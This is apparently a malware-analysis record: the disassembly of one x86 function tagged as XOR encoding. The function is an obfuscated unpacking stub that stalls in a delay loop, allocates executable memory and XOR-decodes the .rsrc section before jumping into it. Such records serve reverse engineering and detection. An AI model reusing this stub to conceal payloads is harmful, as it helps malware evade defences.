Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2f8c2a6c
not ecx
inc ebx
or ebx, ecx
popal
sub ecx, ebx
sub ebx, ecx
dec ebx
mov eax, 0
mov ebx, esi
not edx
sub edi, edx
mov ecx, ebx
mov edx, edi
sub edi, 0x7a2ff4c1
sub edi, 0x6ada750f
mov esi, ecx
add edi, edx
add edx, 0xf4b8ea20
inc eax
sub edi, 0x9a8e0292
add edi, 0x6a7c8efb
cmp eax, 0x1000fec
jne 0xa789c2
mov edx, edi
or edx, edx
inc edx
add ebx, 0x984914db
inc ebx
mov edi, 0xa78796
sub ecx, eax
not eax
mov esi, 0xa7898a
inc ebx
sub eax, ecx
or ebx, eax
mov edx, dword [edi]
sub ecx, 0xf21f924b
sub ebx, ecx
or eax, ebx
and edx, 0xff
or ebx, ecx
add eax, eax
and ebx, ebx
xor dword [esi], edx
add ecx, 0x377d1b83
add ebx, 1
inc esi
and eax, eax
sub eax, 0xb880cd76
sub ebx, 0x208bf9a5
add edi, 1
and ebx, eax
add eax, eax
cmp esi, entry0
jl 0xa78a1a
inc ecx
mov ecx, eax
inc ebx
sub ecx, 0xa412264b
sub ebx, 1
add ecx, 0x9fe9ab67
sub esi, 0x6aef9966
mov edx, 0xa7898e
mov ebx, edi
or edi, edi
mov ecx, 0x15856a36
mov edx, dword [edx]
mov edi, 0x229cc782
or ebx, edi
mov ecx, esi
mov edx, dword [edx]
mov esi, 0xcafe97f
mov ecx, 0x3361fef7
add esi, 0x4ae0693c
push edx
mov ebx, edi
dec ebx
mov edx, 0xa7898a
add esi, 0x7b312f13
add ebx, 0xeb92c6fd
mov edx, dword [edx]
dec esi
and edi, esi
mov edx, dword [edx]
add ebx, esi
add edi, 0xb4d2dc13
push 0xa78992
mov esi, ebx
and ecx, ebx
call edx
add esi, ecx
not ecx
add esi, 0xfb0e5d55
pop edx
sub esi, 1
add ecx, 0xd3ebfd1a
mov edi, 0xe4619c69
sub esp, 4
mov dword [esp], 0xa7899f
not esi
sub esi, 0x19fab847
add ecx, 0x5a622520
push eax
mov esi, edi
or ebx, edi
mov ecx, esi
call edx
sub edi, 1
inc edi
push 0x40
inc ecx
add ecx, 1
sub esi, 0xcb6c6d41
sub esp, 4
mov dword [esp], 0x3000
add edi, esi
add ecx, ebx
mov ebx, 0xbd29fc92
push 0x200009d3
sub edi, 0x7ad1610d
sub esi, 0x9e92ed1c
push 0
and esi, edi
inc ecx
call eax
add ebx, 0x879b137d
add ecx, ecx
mov edi, esi
add eax, 0x20000957
sub ecx, 1
mov ecx, edi
mov edx, 0xb5f4b73d
inc ebx
not ebx
mov dword [eax], edx
add ebx, 0x46873013
add esi, 0xbc1792e2
mov edx, dword [eax]
add ebx, ecx
not ecx
cmp edx, 0xb5f4b73d
je 0xa78ba2
mov edx, 0
mov ebx, dword [edx]
mov esi, 0x790c6d46
inc ebx
sub ecx, 0xa1f36e20
or ebx, ebx
sub ebx, 1
or ecx, esi
sub ecx, ebx
not ecx
mov esi, section..rsrc
sub ebx, ecx
and ebx, ebx
mov edx, 0xa78795
sub ecx, ebx
sub ebx, ecx
mov ecx, 0x98550d19
mov eax, 0
and ecx, ecx
inc ecx
inc ebx
mov edi, 0xa78796
add ebx, ebx
add ebx, 0xeaa3eb7
sub ebx, ecx
lea edi, [edi + eax]
inc ecx
inc ebx
sub ebx, 1
mov edi, dword [edi]
add ecx, ebx
sub ebx, ecx
and edi, 0xff
or ebx, ebx
and ebx, ebx
inc eax
add ecx, 1
mov ecx, 0x5dfdeec9
cmp eax, 0x1f4
jne 0xa78c1f
mov eax, 0
or ebx, ecx
mov ecx, ebx
sub ecx, ebx
add ecx, 1
add ecx, 0xd64e1557
xor dword [esi], edi
add ecx, ecx
sub ecx, 0x86accf0d
add ecx, ecx
add esi, 2
not ebx
add ebx, ebx
cmp esi, edx
jl 0xa78bdc
not ecx
not ecx
not ecx
and ecx, ecx
dec ebx
add ecx, 0x6e5487d9
mov edx, section..rsrc
or edi, eax
sub eax, edi
not edi
mov esi, section..rsrc
not edi
mov edi, eax
or edi, edi
mov ebx, 0xa78795
mov edi, 0xc3164320
mov eax, edi
mov ecx, 0
add eax, edi
add eax, edi
sub eax, 0x5a58b6cf
mov cl, byte [esi]
add edi, 0x26de719c
not eax
add edi, 1
mov byte [edx], cl
not eax
mov edi, eax
mov eax, edi
inc edx
mov edi, 0x42a3bbc0
sub eax, edi
mov edi, eax
add esi, 2
add edi, 0xa7158cc6
or eax, eax
cmp esi, ebx
jle 0xa78c8f
mov eax, 0x947c96b4
or edi, eax
sub edi, eax
not ecx
add ebx, 0x1ea1604c
sub ecx, 0x3ba8508f
push 0x8dc6a0
or ebx, ebx
dec ecx
ret